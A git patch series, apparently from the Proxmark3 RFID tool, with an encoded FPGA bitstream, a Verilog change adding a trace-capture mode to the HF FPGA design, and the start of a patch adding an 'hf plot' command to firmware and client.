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 oz@3kaoUgu, June 2014 +// Piwi, Feb 2019 //----------------------------------------------------------------------------- + +// Defining commands, modes and options. This must be aligned to the definitions in fpgaloader.h +// Note: the definitions here are without shifts + +// Commands: `define FPGA_CMD_SET_CONFREG 1 +`define FPGA_CMD_TRACE_ENABLE 2 + +// Major modes: +`define FPGA_MAJOR_MODE_HF_READER_TX 0 +`define FPGA_MAJOR_MODE_HF_READER_RX_XCORR 1 +`define FPGA_MAJOR_MODE_HF_SIMULATOR 2 +`define FPGA_MAJOR_MODE_HF_ISO14443A 3 +`define FPGA_MAJOR_MODE_HF_SNOOP 4 +`define FPGA_MAJOR_MODE_HF_ISO18092 5 +`define FPGA_MAJOR_MODE_HF_GET_TRACE 6 +`define FPGA_MAJOR_MODE_OFF 7 + +// Options for the generic HF reader +// Options for the HF reader, tx to tag +`define FPGA_HF_READER_TX_SHALLOW_MOD 1 + +// Options for the HF reader, correlating against rx from tag +`define FPGA_HF_READER_RX_XCORR_848_KHZ 1 +`define FPGA_HF_READER_RX_XCORR_SNOOP 2 +`define FPGA_HF_READER_RX_XCORR_QUARTER 4 + +// Options for the HF simulated tag, how to modulate +`define FPGA_HF_SIMULATOR_NO_MODULATION 0 +`define FPGA_HF_SIMULATOR_MODULATE_BPSK 1 +`define FPGA_HF_SIMULATOR_MODULATE_212K 2 +`define FPGA_HF_SIMULATOR_MODULATE_424K 4 +`define FPGA_HF_SIMULATOR_MODULATE_424K_8BIT 5 + +// Options for ISO14443A +`define FPGA_HF_ISO14443A_SNIFFER 0 +`define FPGA_HF_ISO14443A_TAGSIM_LISTEN 1 +`define FPGA_HF_ISO14443A_TAGSIM_MOD 2 +`define FPGA_HF_ISO14443A_READER_LISTEN 3 +`define FPGA_HF_ISO14443A_READER_MOD 4 + +//options for ISO18092 / Felica +`define FPGA_HF_ISO18092_FLAG_NOMOD 1 // 0001 disable modulation module +`define FPGA_HF_ISO18092_FLAG_424K 2 // 0010 should enable 414k mode (untested). No autodetect +`define FPGA_HF_ISO18092_FLAG_READER 4 // 0100 enables antenna power, to act as a reader instead of tag `include "hi_read_tx.v" `include "hi_read_rx_xcorr.v" @@ -22,6 +67,7 @@ `include "hi_sniffer.v" `include "util.v" `include "hi_flite.v" +`include "hi_get_trace.v" module fpga_hf( input spck, output miso, input mosi, input ncs, @@ -41,8 +87,33 @@ module fpga_hf( // to the configuration bits, for use below. //----------------------------------------------------------------------------- +/* + Attempt to write up how its hooked up. Iceman 2020. + + Communication between ARM / FPGA is done inside armsrc/fpgaloader.c see: function FpgaSendCommand() + Send 16 bit command / data pair to FPGA + The bit format is: C3 C2 C1 C0 D11 D10 D9 D8 D7 D6 D5 D4 D3 D2 D1 D0 + where + C is 4bit command + D is 12bit data + + shift_reg receive this 16bit frame + + +-----+--------- frame layout -------------------- +bit | 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 0 +-----+------------------------------------------- +cmd | x x x x +major| x x x +opt | x x +divi | x x x x x x x x +thres| x x x x x x x x +-----+------------------------------------------- +*/ + reg [15:0] shift_reg; reg [7:0] conf_word; +reg trace_enable; // We switch modes between transmitting to the 13.56 MHz tag and receiving // from it, which means that we must make sure that we can do so without @@ -50,10 +121,8 @@ reg [7:0] conf_word; always @(posedge ncs) begin case(shift_reg[15:12]) - `FPGA_CMD_SET_CONFREG: - begin - conf_word <= shift_reg[7:0]; - end + `FPGA_CMD_SET_CONFREG: conf_word <= shift_reg[7:0]; + `FPGA_CMD_TRACE_ENABLE: trace_enable <= shift_reg[0]; endcase end @@ -152,6 +221,13 @@ hi_flite hfl( hi_simulate_mod_type ); +hi_get_trace gt( + ck_1356megb, + adc_d, trace_enable, major_mode, + gt_ssp_frame, gt_ssp_din, gt_ssp_clk +); + + // Major modes: // 000 -- HF reader, transmitting to tag; modulation depth selectable @@ -160,20 +236,20 @@ hi_flite hfl( // 011 -- HF ISO14443-A // 100 -- HF Snoop // 101 -- Felica modem, reusing HF reader -// 110 -- none +// 110 -- HF get trace // 111 -- everything off -mux8 mux_ssp_clk (major_mode, ssp_clk, ht_ssp_clk, hrxc_ssp_clk, hs_ssp_clk, hisn_ssp_clk, he_ssp_clk, hfl_ssp_clk, 1'b0, 1'b0); -mux8 mux_ssp_din (major_mode, ssp_din, ht_ssp_din, hrxc_ssp_din, hs_ssp_din, hisn_ssp_din, he_ssp_din, hfl_ssp_din, 1'b0, 1'b0); -mux8 mux_ssp_frame (major_mode, ssp_frame, ht_ssp_frame, hrxc_ssp_frame, hs_ssp_frame, hisn_ssp_frame, he_ssp_frame, hfl_ssp_frame, 1'b0, 1'b0); -mux8 mux_pwr_oe1 (major_mode, pwr_oe1, ht_pwr_oe1, hrxc_pwr_oe1, hs_pwr_oe1, hisn_pwr_oe1, he_pwr_oe1, hfl_pwr_oe1, 1'b0, 1'b0); -mux8 mux_pwr_oe2 (major_mode, pwr_oe2, ht_pwr_oe2, hrxc_pwr_oe2, hs_pwr_oe2, hisn_pwr_oe2, he_pwr_oe2, hfl_pwr_oe2, 1'b0, 1'b0); -mux8 mux_pwr_oe3 (major_mode, pwr_oe3, ht_pwr_oe3, hrxc_pwr_oe3, hs_pwr_oe3, hisn_pwr_oe3, he_pwr_oe3, hfl_pwr_oe3, 1'b0, 1'b0); -mux8 mux_pwr_oe4 (major_mode, pwr_oe4, ht_pwr_oe4, hrxc_pwr_oe4, hs_pwr_oe4, hisn_pwr_oe4, he_pwr_oe4, hfl_pwr_oe4, 1'b0, 1'b0); -mux8 mux_pwr_lo (major_mode, pwr_lo, ht_pwr_lo, hrxc_pwr_lo, hs_pwr_lo, hisn_pwr_lo, he_pwr_lo, hfl_pwr_lo, 1'b0, 1'b0); -mux8 mux_pwr_hi (major_mode, pwr_hi, ht_pwr_hi, hrxc_pwr_hi, hs_pwr_hi, hisn_pwr_hi, he_pwr_hi, hfl_pwr_hi, 1'b0, 1'b0); -mux8 mux_adc_clk (major_mode, adc_clk, ht_adc_clk, hrxc_adc_clk, hs_adc_clk, hisn_adc_clk, he_adc_clk, hfl_adc_clk, 1'b0, 1'b0); -mux8 mux_dbg (major_mode, dbg, ht_dbg, hrxc_dbg, hs_dbg, hisn_dbg, he_dbg, hfl_dbg, 1'b0, 1'b0); +mux8 mux_ssp_clk (major_mode, ssp_clk, ht_ssp_clk, hrxc_ssp_clk, hs_ssp_clk, hisn_ssp_clk, he_ssp_clk, hfl_ssp_clk, gt_ssp_clk, 1'b0); +mux8 mux_ssp_din (major_mode, ssp_din, ht_ssp_din, hrxc_ssp_din, hs_ssp_din, hisn_ssp_din, he_ssp_din, hfl_ssp_din, gt_ssp_din, 1'b0); +mux8 mux_ssp_frame (major_mode, ssp_frame, ht_ssp_frame, hrxc_ssp_frame, hs_ssp_frame, hisn_ssp_frame, he_ssp_frame, hfl_ssp_frame, gt_ssp_frame, 1'b0); +mux8 mux_pwr_oe1 (major_mode, pwr_oe1, ht_pwr_oe1, hrxc_pwr_oe1, hs_pwr_oe1, hisn_pwr_oe1, he_pwr_oe1, hfl_pwr_oe1, 1'b0, 1'b0); +mux8 mux_pwr_oe2 (major_mode, pwr_oe2, ht_pwr_oe2, hrxc_pwr_oe2, hs_pwr_oe2, hisn_pwr_oe2, he_pwr_oe2, hfl_pwr_oe2, 1'b0, 1'b0); +mux8 mux_pwr_oe3 (major_mode, pwr_oe3, ht_pwr_oe3, hrxc_pwr_oe3, hs_pwr_oe3, hisn_pwr_oe3, he_pwr_oe3, hfl_pwr_oe3, 1'b0, 1'b0); +mux8 mux_pwr_oe4 (major_mode, pwr_oe4, ht_pwr_oe4, hrxc_pwr_oe4, hs_pwr_oe4, hisn_pwr_oe4, he_pwr_oe4, hfl_pwr_oe4, 1'b0, 1'b0); +mux8 mux_pwr_lo (major_mode, pwr_lo, ht_pwr_lo, hrxc_pwr_lo, hs_pwr_lo, hisn_pwr_lo, he_pwr_lo, hfl_pwr_lo, 1'b0, 1'b0); +mux8 mux_pwr_hi (major_mode, pwr_hi, ht_pwr_hi, hrxc_pwr_hi, hs_pwr_hi, hisn_pwr_hi, he_pwr_hi, hfl_pwr_hi, 1'b0, 1'b0); +mux8 mux_adc_clk (major_mode, adc_clk, ht_adc_clk, hrxc_adc_clk, hs_adc_clk, hisn_adc_clk, he_adc_clk, hfl_adc_clk, 1'b0, 1'b0); +mux8 mux_dbg (major_mode, dbg, ht_dbg, hrxc_dbg, hs_dbg, hisn_dbg, he_dbg, hfl_dbg, 1'b0, 1'b0); // In all modes, let the ADC's outputs be enabled. assign adc_noe = 1'b0; diff --git a/fpga/fpga_lf.bit b/fpga/fpga_lf.bit index 133e12b828095ae49ec164a1e516727d8d98838e..dd64db8a7762141fcee85b6fb5cb9af3a4705313 100644 GIT binary patch delta 21 dcmdmgl4<`*rU{N5hNf1=hE@tj8$HXG003E#2a*5) delta 21 dcmdmgl4<`*rU{N53I Date: Sun, 12 Jan 2020 16:45:24 +0100 Subject: [PATCH 289/418] add 'hf plot' - from offical repo (piwi) --- armsrc/appmain.c | 29 +++++++++++++++------- armsrc/fpgaloader.c | 12 +++++----- armsrc/hfsnoop.c | 53 +++++++++++++++++++++++++++++++++++++++-- armsrc/hfsnoop.h | 3 ++- client/cmdhf.c | 42 ++++++++++++++++++++++++++++---- client/cmdhf.h | 3 ++- client/cmdparser.c | 6 +++++ client/cmdparser.h | 1 + client/comms.c | 4 ++++ client/comms.h | 3 ++- common_arm/Makefile.hal | 3 ++- common_fpga/fpga.h | 2 ++ include/pm3_cmd.h | 8 ++++++- 13 files changed, 144 insertions(+), 25 deletions(-) diff --git a/armsrc/appmain.c b/armsrc/appmain.c index 471dbc6be..cc66b37f4 100644 --- a/armsrc/appmain.c +++ b/armsrc/appmain.c @@ -17,6 +17,7 @@ #include "dbprint.h" #include "pmflash.h" #include "fpga.h" +#include "fpga.h" #include "fpgaloader.h" #include "string.h" #include "legicrf.h" @@ -440,6 +441,11 @@ void SendCapabilities(void) { #else capabilities.compiled_with_hfsniff = false; #endif +#ifdef WITH_HFPLOT + capabilities.compiled_with_hfplot = true; +#else + capabilities.compiled_with_hfplot = false; +#endif #ifdef WITH_ISO14443a capabilities.compiled_with_iso14443a = true; #else @@ -924,7 +930,7 @@ static void PacketReceived(PacketCommandNG *packet) { #ifdef WITH_HITAG case CMD_LF_HITAG_SNIFF: { // Eavesdrop Hitag tag, args = type - SniffHitag(); + SniffHitag(packet->oldarg[0]); break; } case CMD_LF_HITAG_SIMULATE: { // Simulate Hitag tag, args = memory content @@ -1358,6 +1364,13 @@ static void PacketReceived(PacketCommandNG *packet) { } #endif +#ifdef WITH_HFPLOT + case CMD_FPGAMEM_DOWNLOAD: { + 